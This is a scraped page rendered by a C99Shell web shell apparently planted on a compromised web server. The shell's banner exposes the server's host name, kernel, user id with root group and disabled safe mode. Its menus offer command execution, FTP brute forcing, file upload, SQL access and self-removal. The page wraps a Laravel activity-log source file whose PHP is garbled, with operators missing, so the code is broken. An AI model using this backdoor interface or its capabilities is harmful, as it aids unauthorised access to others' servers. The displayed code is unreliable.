!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/spatie/laravel-activitylog/src/   drwxr-xr-x
Free 23.35 GB of 117.98 GB (19.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogBatch.php (1.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Activitylog;

use 
Closure;
use 
Ramsey\Uuid\Uuid;

class 
LogBatch
{
    public ?
string $uuid null;

    public 
int $transactions 0;

    protected function 
generateUuid(): string
    
{
        return 
Uuid::uuid4()->toString();
    }

    public function 
getUuid(): ?string
    
{
        return 
$this->uuid;
    }

    public function 
setBatch(string $uuid): void
    
{
        
$this->uuid $uuid;
        
$this->transactions 1;
    }

    public function 
withinBatch(Closure $callback): mixed
    
{
        
$this->startBatch();
        
$result $callback($this->getUuid());
        
$this->endBatch();

        return 
$result;
    }

    public function 
startBatch(): void
    
{
        if (! 
$this->isOpen()) {
            
$this->uuid $this->generateUuid();
        }

        
$this->transactions++;
    }

    public function 
isOpen(): bool
    
{
        return 
$this->transactions 0;
    }

    public function 
endBatch(): void
    
{
        
$this->transactions max(0$this->transactions 1);

        if (
$this->transactions === 0) {
            
$this->uuid null;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--